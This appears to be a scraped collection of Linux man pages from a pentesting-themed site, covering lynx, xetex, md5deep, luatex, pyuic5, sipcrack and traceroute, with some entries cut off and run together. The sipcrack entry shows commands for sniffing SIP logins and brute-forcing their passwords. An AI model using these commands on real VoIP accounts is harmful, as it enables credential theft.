Depending on your system configuration and supported protocols, the environment variables recognized by lynx may include

cso_proxy
finger_proxy
ftp_proxy
gopher_proxy
http_proxy
https_proxy
news_proxy
newspost_proxy
newsreply_proxy
nntp_proxy
no_proxy
rlogin_proxy
snews_proxy
snewspost_proxy
snewsreply_proxy
telnet_proxy
tn3270_proxy
wais_proxy

See Lynx Users Guide for additional details and examples.

RL_CLCOPY_CMD
Pipe the contents of the current link using this command as the target.

RL_PASTE_CMD
Open a pipe to read from this command, pasting it into the current editable-field or command-prompt.

SOCKS5_PROXY
Is inspected if -socks5_proxy has not been used (for the same content).

SSL_CERT_DIR
Set to the directory containing trusted certificates.

SSL_CERT_FILE
Set to the full path and filename for your file of trusted certificates.

WWW_access_GATEWAY****
Lynx still supports use of gateway servers, with the servers specified via WWW_access_GATEWAY variables (where access is lower case and can be http, ftp, gopher or wais). However most gateway servers have been discontinued. Note that you do not include a terminal / for gateways, but do for proxies specified by PROTOCOL_proxy environment variables.

See Lynx Users Guide for details.

WWW_HOME
This variable, if set, will override the default startup URL specified in any of the Lynx configuration files.

Environment Variables Set or Modified By Lynx:

LYNX_PRINT_DATE
This variable is set by the Lynx p(rint) function, to the Date: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No Date under VMS.

LYNX_PRINT_LASTMOD
This variable is set by the Lynx p(rint) function, to the Last Mod: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No LastMod under VMS.

LYNX_PRINT_TITLE
This variable is set by the Lynx p(rint) function, to the Linkname: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No Title under VMS.

LYNX_PRINT_URL
This variable is set by the Lynx p(rint) function, to the URL: string seen in the document’s Information about page (= cmd), if any. It is created for use by an external program, as defined in a lynx.cfg PRINTER: definition statement. If the field does not exist for the document, the variable is set to a null string under UNIX, or No URL under VMS.

LYNX_TRACE
If set, causes Lynx to write a trace file as if the -trace option were supplied.

LYNX_TRACE_FILE
If set, overrides the compiled-in name of the trace file, which is either Lynx.trace or LY-TRACE.LOG (the latter on the DOS/Windows platforms). The trace file is in either case relative to the home directory.

LYNX_VERSION
This variable is always set by Lynx, and may be used by an external program to determine if it was invoked by Lynx.

See also the comments in the distribution’s sample mailcap file, for notes on usage in such a file.

TERM
Normally, this variable is used by Lynx to determine the terminal type being used to invoke Lynx. If, however, it is unset at startup time (or has the value unknown), or if the -term command-line option is used (see OPTIONS section above), Lynx will set or modify its value to the user specified terminal type (for the Lynx execution environment). Note: If set/modified by Lynx, the values of the LINES and/or COLUMNS environment variables may also be changed.

Simulated CGI Support

If built with the cgi-links option enabled, Lynx allows access to a cgi script directly without the need for an http daemon.

When executing such lynxcgi scripts (if enabled), the following variables may be set for simulating a CGI environment:

CONTENT_LENGTH

CONTENT_TYPE

DOCUMENT_ROOT

HTTP_ACCEPT_CHARSET

HTTP_ACCEPT_LANGUAGE

HTTP_USER_AGENT

PATH_INFO

PATH_TRANSLATED

QUERY_STRING

REMOTE_ADDR

REMOTE_HOST

REQUEST_METHOD

SERVER_SOFTWARE

Other environment variables are not inherited by the script, unless they are provided via a LYNXCGI_ENVIRONMENT statement in the configuration file. See the lynx.cfg file, and the (draft) CGI 1.1 Specification <http://Web.Golux.Com/coar/cgi/draft-coar-cgi-v11-00.txt> for the definition and usage of these variables.

The CGI Specification, and other associated documentation, should be consulted for general information on CGI script programming.

Native Language Support

If configured and installed with Native Language Support, Lynx will display status and other messages in your local language. See the file ABOUT_NLS in the source distribution, or at your local GNU site, for more information about internationalization.

The following environment variables may be used to alter default settings:

LANG
This variable, if set, will override the default message language. It is an ISO 639 two-letter code identifying the language. Language codes are NOT the same as the country codes given in ISO 3166.

LANGUAGE
This variable, if set, will override the default message language. This is a GNU extension that has higher priority for setting the message catalog than LANG or LC_ALL.

LC_ALL
and

LC_MESSAGES
These variables, if set, specify the notion of native language formatting style. They are POSIXly correct.

LINGUAS
This variable, if set prior to configuration, limits the installed languages to specific values. It is a space-separated list of two-letter codes. Currently, it is hard-coded to a wish list.

NLSPATH
This variable, if set, is used as the path prefix for message catalogs.

NOTES

Mailing Lists

If you wish to contribute to the further development of Lynx, subscribe to our mailing list. Send email to <[email protected]> with subscribe lynx-dev as the only line in the body of your message.

Send bug reports, comments, suggestions to <[email protected]> after subscribing.

Unsubscribe by sending email to <[email protected]> with unsubscribe lynx-dev as the only line in the body of your message. Do not send the unsubscribe message to the lynx-dev list, itself.

Acknowledgments

Lynx has incorporated code from a variety of sources along the way. The earliest versions of Lynx included code from Earl Fogel of Computing Services at the University of Saskatchewan, who implemented HYPERREZ in the Unix environment. HYPERREZ was developed by Niel Larson of Think.com and served as the model for the early versions of Lynx. Those versions also incorporated libraries from the Unix Gopher clients developed at the University of Minnesota, and the later versions of Lynx rely on the WWW client library code developed by Tim Berners-Lee and the WWW community. Also a special thanks to Foteos Macrides who ported much of Lynx to VMS and did or organized most of its development since the departures of Lou Montulli and Garrett Blythe from the University of Kansas in the summer of 1994 through the release of v2.7.2, and to everyone on the net who has contributed to Lynx’s development either directly (through patches, comments or bug reports) or indirectly (through inspiration and development of other systems).

AUTHORS

Lou Montulli, Garrett Blythe, Craig Lavender, Michael Grobe, Charles Rezac
Academic Computing Services
University of Kansas
Lawrence, Kansas 66047

Foteos Macrides
Worcester Foundation for Biomedical Research
Shrewsbury, Massachusetts 01545

Thomas E. Dickey
<[email protected]>

SEE ALSO

catgets(3), curses(3), environ(7), ftp(1), gettext(GNU), localeconv(3), ncurses(3), setlocale(3), termcap(5), terminfo(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1931 - Linux cli command xetex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xetex and provides detailed information about the command xetex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xetex.

NAME 🖥️ xetex 🖥️

extended TeX with native support for Unicode, OpenType, system fonts

SYNOPSIS

xetex [options] [*&format] [file|*commands]

DESCRIPTION

XeTeX (xetex) is a TeX engine with native support for Unicode, OpenType, and system-installed fonts, using third-party libraries (such as ICU, HarfBuzz, and Freetype). It was developed by Jonathan Kew for SIL.

XeTeX includes the e-TeX extensions and many extensions from pdfTeX, sometimes with different primitive names.

XeTeX is now released as part of TeX Live <https://tug.org/texlive>.

OPTIONS

XeTeX’s handling of its command-line arguments is similar to that of the other TeX programs in the Web2C implementation. Here we list only additions/deletions of command line options which are specific to XeTeX; see etex(1) for common options. Additions:

-no-pdf
Generate XeTeX’s extended DVI (.xdv) output instead of pdf.

-output-driver* cmd*
Run cmd instead of xdvipdfmx to translate xdv to pdf.

-papersize* string*
Set pdf media size to string.

Removals: -draftmode, -enc, -ipc, -ipc-start, -translate-file.

SEE ALSO

tex(1), etex(1), latex(1).
Home page: <https://tug.org/xetex>
CTAN page: <https://ctan.org/pkg/xetex>
Reference manual: <https://ctan.org/pkg/xetexref>

AUTHORS

XeTeX is maintained by Jonathan Kew and others.
Public discussion list: <http://lists.tug.org/xetex>
Bug reports: <http://sourceforge.net/p/xetex/bugs/>

This manual page was written by Karl Berry. It is released to the public domain.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1932 - Linux cli command whirlpooldeep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command whirlpooldeep and provides detailed information about the command whirlpooldeep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the whirlpooldeep.

NAME 🖥️ whirlpooldeep 🖥️

Compute and compare MD5 message digests
sha1deep - Compute and compare SHA-1 message digests
sha256deep - Compute and compare SHA-256 message digests
tigerdeep - Compute and compare Tiger message digests
whirlpooldeep - Compute and compare Whirlpool message digests

SYNOPSIS

md5deep -v | -V | -h
md5deep [-m|-M|-x|-X <file>] [-a|-A <hash>] [-f <file>] [-p <size>] [-i <size>] [-tnwzresS0lbkqZud] [-F <bum>] [-o <fbcplsde>] [-j <num>] [[FILES]

DESCRIPTION

Computes the hashes, or message digest, for any number of files while optionally recursively digging through the directory structure. Can also take a list of known hashes and display the filenames of input files whose hashes either do or do not match any of the known hashes. Errors are reported to standard error. If no FILES are specified, reads from standard input.

-p <size>
Piecewise mode. Breaks files into chunks before hashing. Chunks may be specified using IEC multipliers b, k, m, g, t, p, or e. (Never let it be said that the author didn’t plan ahead!) This mode cannot be used with the -z mode.

-i|-I <size>
Size threshold mode. Only hash files smaller than the given the threshold. In -i mode, simply omits those files larger than the threshold. In -I mode, displays all files, but uses asterisks for the hashes of files larger than the threshold. Sizes may be specified using IEC multipliers b, k, m, g, t, p, or e.

-r
Enables recursive mode. All subdirectories are traversed. Please note that recursive mode cannot be used to examine all files of a given file extension. For example, calling md5deep -r *.txt will examine all files in directories that end in .txt.

-e
Displays a progress indicator and estimate of time remaining for each file being processed. Time estimates for files larger than 4GB are not available on Windows. This mode may not be used with th -p mode.

-m <file>
Enables matching mode. The file given should be a list of known hashes. The input files are examined one at a time, and only those files that match the list of known hashes are output. This flag may be used more than once to add multiple sets of known hashes. Acceptable formats for lists of known hashes are plain (such as those generated by md5deep or md5sum), Hashkeeper files, iLook, and the National Software Reference Library (NSRL) as produced by the National Institute for Standards in Technology.
If standard input is used with the -m flag, displays “stdin” if the input matches one of the hashes in the list of known hashes. If the hash does not match, the program displays no output.
This flag may not be used in conjunction with the -x, -X, or -A flags. See the section “UNICODE SUPPORT” below.

-x <file>
Same as the -m flag above, but does negative matching. That is, only those files NOT in the list of known hashes are displayed.
This flag may not be used in conjunction with the -m, -M, or -a flags. See the section “UNICODE SUPPORT” below.

-M and -X <file>
Same as -m and -x above, but displays the hash for each file that does (or does not) match the list of known hashes.

-a <hash>
Adds a single hash to the list of known hashes used for matching mode, and if not already enabled, enables matching mode. Adding single hashes cannot, by itself, be used to print the hashes of matching files like the -M flag does. When used in conjunction with the -w flag, the filename displayed is just the hash submitted on the command line.
This flag may not be used in conjunction with the -x, -X, or -A flags.

-A <hash>
Same as -a above, but does negative matching. This flag may not be used in conjunction with the -m, -M, or -A flags.

-f <file>
Takes a list of files to be hashed from the specified file. Each line is assumed to be a filename. This flag can only be used once per invocation. If it’s used a second time, the second instance will clobber the first.
Note that you can still use other flags, such as the -m or -x modes, and submit additional FILES on the command line.

-w
During any of the matching modes (-m,-M,-x,or -X), displays the filename of the known hash that matched the input file. See the section “UNICODE SUPPORT” below.

-t
Display a timestamp in GMT with each result. On Windows this timestamp will be the file’s creation time. On all other systems it should be the file’s change time.

-n
During any of the matching modes (-m,-M,-x,or -X), displays only the filenames of any known hashes that were not matched by any of the input files.

-s
Enables silent mode. All error messages are suppressed.

-S
Like silent mode, but still displays warnings on improperly formatted hashes in the list of known hashes.

-z
Enables file size mode. Prepends the hash with a ten digit representation of the size of each file processed. If the file size is greater than 9999999999 bytes (about 9.3GB) the program displays 9999999999 for the size.

-q
Quiet mode. File names are omitted from the output. Each hash is still followed by two spaces before the newline.

-Z
Produces output in Triage format. Each line contains the file’s size, a tab, a hash of the first 512 bytes, a tab, the hash of the complete file, a tab, and the file name. These values are intended in increasing order of specificity. That is, two files with different sizes cannot possibly match. This is a fast comparison and should be done first. Next, two files with different partial hashes cannot possibly match. This is often faster than hashing the whole file. Finally, if those two pieces align, then it’s worth reading and hashing the entire file.

-0
Uses a NULL character (/0) to terminate each line instead of a newline. Useful for processing filenames with strange characters.

-l
Enables relative file paths. Instead of printing the absolute path for each file, displays the relative file path as indicated on the command line. This flag may not be used in conjunction with the -b flag.

-b
Enables bare mode. Strips any leading directory information from displayed filenames. This flag may not be used in conjunction with the -l flag.

-k
Enables asterisk mode. An asterisk is inserted in lieu of a second space between the filename and the hash, just like md5sum in its binary (-b) mode.

-c
Enables comma separated values output, or CSV mode. This mode has the side effect of removing the 10 digit size limitation from -z mode. Also note that asterisks from -k mode are not displayed when in CSV mode.

-o <bcpflsd>
Enables expert mode. Allows the user specify which (and only which) types of files are processed. Directory processing is still controlled with the -r flag. The expert mode options allowed are:
f - Regular files
b - Block Devices
c - Character Devices
p - Named Pipes
l - Symbolic Links
s - Sockets
d - Solaris Doors
e - Windows PE executables

-jnn
Controls multi-threading. By default the program will create one producer thread to scan the file system and one hashing thread per CPU core. Multi-threading causes output filenames to be in non-deterministic order, as files that take longer to hash will be delayed while they are hashed. If a deterministic order is required, specify -j0 to disable multi-threading

-d
Output in Digital Forensics XML (DFXML) format.

-u
Quote Unicode output. For example, the snowman is shown as U+C426.

-F<bum>
Specifies the input mode that is used to read files. The default is -Fb (buffered I/O) which reads files with fopen(). Specifying -Fu will use unbuffered I/O and read the file with open(). Specifying -Fm will use memory-mapped I/O which will be faster on some platforms, but which (currently) will not work with files that produce I/O errors.

-h
Show a help screen and exit.

-v
Show the version number and exit.

-V
Show copyright information and exit.

UNICODE SUPPORT

As of version 3.0 the program supports Unicode characters in filenames on Microsoft Windows systems for filenames specified on the command line with globbing (e.g. *), for files specified with the -f of files to hash, and for files read from directories using the -r option.

By default all program input and output should be in UTF-8. The program automatically converts this to UTF-16 for opening files).

On Unix/Linux/MacOS, you should use a terminal emulator that supports UTF-8 and UTF-8 characters in filenames will be properly displayed.

On Windows, the programs do not display Unicode characters on the console. You must either redirect output to a file and open the file with Wordpad (which can display Unicode), or you must specify the -u option to quote Unicode using standard U+XXXX notation.

Currently the file name of a file containing known hashes may not be specified as a unicode filename, but you can specify the name using tab completion or an asterisk (e.g. md5deep -m *.txt where there is only one file with a .txt extension).

RETURN VALUE

Returns a bit-wise value based on the success of the operation and the status of any matching operations.

0
Success. Note that the program considers itself successful even when it encounters read errors, permission denied errors, or finds directories when not in recursive mode.

1
Unused hashes. Under any of the matching modes, returns this value if one or more of the known hashes was not matched by any of the input files.

2
Unmatched inputs. Under any of the matching modes, returns this value if one or more of the input values did not match any of the known hashes.

64
User error, such as trying to do both positive and negative matching at the same time.

128
Internal error, such as memory corruption or uncaught cycle. All internal errors should be reported to the developer! See the section “Reporting Bugs” below.

AUTHOR

md5deep was written by Jesse Kornblum, [email protected] and Simson Garfinkel.

KNOWN ISSUES

Using the -r flag cannot be used to recursively process all files of a given extension in a directory. This is a feature, not a bug. If you need to do this, use the find(1) command.

REPORTING BUGS

We take all bug reports very seriously. Any bug that jeopardizes the forensic integrity of this program could have serious consequences on people’s lives. When submitting a bug report, please include a description of the problem, how you found it, and your contact information.

Send bug reports to the author at the address above.

COPYRIGHT

This program is a work of the US Government. In accordance with 17 USC 105, copyright protection is not available for any work of the US Government. This program is PUBLIC DOMAIN. Portions of this program contain code that is licensed under the terms of the General Public License (GPL). Those portions retain their original copyright and license. See the file COPYING for more details.

There is NO warranty for this program; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

More information and installation instructions can be found in the README file. Current versions of both documents can be found on the project homepage: http://md5deep.sourceforge.net/

The MD5 specification, RFC 1321, is available at
http://www.ietf.org/rfc/rfc1321.txt

The SHA-1 specification, RFC 3174, is available at
http://www.faqs.org/rfcs/rfc3174.html

The SHA-256 specification, FIPS 180-2, is available at
http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf

The SHA-3-256 specification is available at
http://keccak.noekeon.org/

The Tiger specification is available at
http://www.cs.technion.ac.il/~biham/Reports/Tiger/

The Whirlpool specification is available at
http://planeta.terra.com.br/informatica/paulobarreto/WhirlpoolPage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1933 - Linux cli command luatex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command luatex and provides detailed information about the command luatex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the luatex.

NAME 🖥️ luatex 🖥️

An extended version of TeX using Lua as an embedded scripting language

SYNOPSIS

luatex [–lua=FILE] [OPTION]. . . [TEXNAME[.tex]] [COMMANDS]
luatex [–lua=FILE] [OPTION]. . . *FIRST-LINE
luatex [
–lua=FILE
*] [OPTION]. . . **&**FMT [ARGS]

DESCRIPTION

Run the luaTeX typesetter on TEXNAME, usually creating TEXNAME*.pdf***. Any remaining COMMANDS are processed as luaTeX input, after TEXNAME is read.

Alternatively, if the first non-option argument begins with a backslash, interpret all non-option arguments as a line of luaTeX input.

Alternatively, if the first non-option argument begins with a &, the next word is taken as the FMT to read, overriding all else. Any remaining arguments are processed as above.

If no arguments or options are specified, prompt for input.

If called as texlua it acts as a Lua interpreter. If called as texluac it acts as a Lua bytecode compiler.

LuaTeX began as an extended version of pdfTeX with Unicode and OpenType font support, embedded Lua scripting language, the e-TeX and Omega extensions, as well as an integrated MetaPost engine, that can create PDF files as well as DVI files. For more information about luatex, see http://www.luatex.org; and you can read the LuaTeX manual using the texdoc utility (texdoc luatex).

All LuaTeX text input and output is considered to be Unicode text, although various filters make it possible to support any encoding.

In DVI mode, LuaTeX can be used as a complete replacement for the TeX engine.

In PDF mode, LuaTeX can natively handle the PDF, JPG, JBIG2, and PNG graphics formats. LuaTeX cannot include PostScript or Encapsulated PostScript (EPS) graphics files; first convert them to PDF using epstopdf(1).

The luajittex variant includes the Lua just-in-time compiler.

The luahbtex variant can use the HarfBuzz engine for glyph shaping, instead of LuaTeX’s built-in shaper.

OPTIONS

When the LuaTeX executable starts, it looks for the –lua command-line option. If there is no –lua option, the command line is interpreted in a similar fashion as in traditional pdfTeX and Aleph. But if the option is present, LuaTeX will enter an alternative mode of command-line parsing in comparison to the standard web2c programs. The presence of –lua makes most of other options unreliable, because the lua initialization file can disable kpathsea and/or hook functions into various callbacks.

Here is the list of possibly affected switches/functionality, and why:

**–lua=**FILE
The lua initialization file.

The following two options alter the executable behaviour:

–luaonly
Start LuaTeX as a Lua interpreter. In this mode, it will set Lua’s arg[0] to the found script name, pushing preceding options in negative values and the rest of the command line in the positive values, just like the Lua interpreter. LuaTeX will exit immediately after executing the specified Lua script.

–luaconly
Start LuaTeX as a Lua byte compiler. In this mode, LuaTeX is exactly like luac from the standalone Lua distribution, except that it does not have the -l switch, and that it accepts (but ignores) the –luaconly switch.

Then the regular web2c options:

–debug-format

Debug format loading.

–draftmode
Sets \pdfdraftmode so luaTeX doesn’t write a PDF and doesn’t read any included images, thus speeding up execution.

–enable-write18

Synonym for –shell-escape.

–disable-write18

Synonym for –no-shell-escape.

–shell-escape

Enable the \write18{command} construct, and Lua functions os.execute(), os.exec(), os.spawn(), and io.popen(). The command can be any shell command. This construct is normally disallowed for security reasons.

–no-shell-escape

Disable the \write18{command} construct and the other Lua functions, even if it is enabled in the texmf.cnf file.

–shell-restricted
Enable restricted version of \write18, os.execute(), os.exec(), os.spawn(), and io.popen(), only commands listed in texmf.cnf file are allowed.

–file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

–no-file-line-error
Disable printing error messages in the file:line:error style.

**–fmt=**FORMAT
Use FORMAT as the name of the format to be used, instead of the name by which luaTeX was called or a %& line.

–help
Print help message and exit.

–ini
Start in INI mode, which is used to dump formats. The INI mode can be used for typesetting, but no format is preloaded, and basic initializations like setting catcodes may be required.

**–interaction=**MODE
Sets the interaction mode. The MODE can be either batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding

1934 - Linux cli command pyuic5

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyuic5 and provides detailed information about the command pyuic5, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyuic5.

NAME 🖥️ pyuic5 🖥️

compile Qt5 user interfaces to Python code

SYNOPSIS

pyuic5 [OPTION]… FILE

DESCRIPTION

pyuic5 takes a Qt5 user interface description file and compiles it to Python code. It can also show a preview of the user interface.

OPTIONS

-h, –help
Show a summary of the options.

–version
Display the pyuic and Qt version numbers and exit.

-p, –preview
Show a preview of the UI instead of generating Python code.

-o, –output=FILE
Write the generated Python code to FILE instead of stdout.

-d, –debug
Show detailed debugging information about the UI generation process.

-x, –execute
Generate extra code to test and display the class when executed as a script.

-i, –indent=NUM
Set the indentation width to NUM spaces. A TAB character will be used if NUM is 0 (default: 4).

CODE GENERATION OPTIONS

–import-from=PACKAGE
Generate imports of pyrcc5 generated modules in the style “from PACKAGE import …”.

–from-imports
The equivalent of “–import-from=.”.

–resource-suffix=SUFFIX
Append SUFFIX to the basename of resource files (default: _rc).

AUTHOR

This manual page was written for Debian GNU/Linux by Torsten Marek <[email protected]>, but may freely be used by others.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1935 - Linux cli command sipcrack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sipcrack and provides detailed information about the command sipcrack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sipcrack.

NAME 🖥️ sipcrack 🖥️

A suite of tools to sniff and crack the digest authentications within the SIP protocol.

SYNOPSIS

sipcrack [options]* <dump_file>*

DESCRIPTION

This manual page documents briefly the sipcrack tool

Session Initiation Protocol (SIP) is a protocol developed by the IETF MMUSIC Working Group and is a proposed standard for initiating, modifying, and terminating an interactive user session that involves multimedia elements such as video, voice, instant messaging, online games, and virtual reality.

In November 2000, SIP was accepted as a 3GPP signaling protocol and permanent element of the IMS architecture. It is one of the leading signalling protocols for Voice over IP, along with H.323. In most VOIP solutions SIP is used to authenticate the SIPclient. The protocol is documented inside the RFC at www.ietf.org/rfc/rfc3261.txt

SIPcrack is a SIP login sniffer/cracker that contains 2 programs: sipdump to capture the digest authentication and sipcrack to bruteforce the hash using a wordlist or standard input.
sipdump dumps SIP digest authentications. If a login is found, the sniffed login is written to the dump file. See ‘sipdump -h’ for options.
sipcrack bruteforces the user’s password with the dump file generated by sipdump. If a password is found, the sniffed and cracked login will be updated in the dump file.
See ‘sipcrack -h’ for options.

OPTIONS

A summary of options is included below.

-s,
Use stdin for passwords

-w wordlist,
file containing all passwords to try.

-p num,
print cracking process every n passwords (for -w)
(ATTENTION: slows down heavily)

EXAMPLE

sipdump -i eth0 logins.dump
sipcrack -w mywordlist.txt logins.dump

SEE ALSO

sipdump(1).

AUTHOR

sipcrack was written by Martin J. Muench <[email protected]>

This manual page was written by Sebastian Castillo Builes <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1936 - Linux cli command traceroute

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command traceroute and provides detailed information about the command traceroute, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the traceroute.

NAME 🖥️ traceroute 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

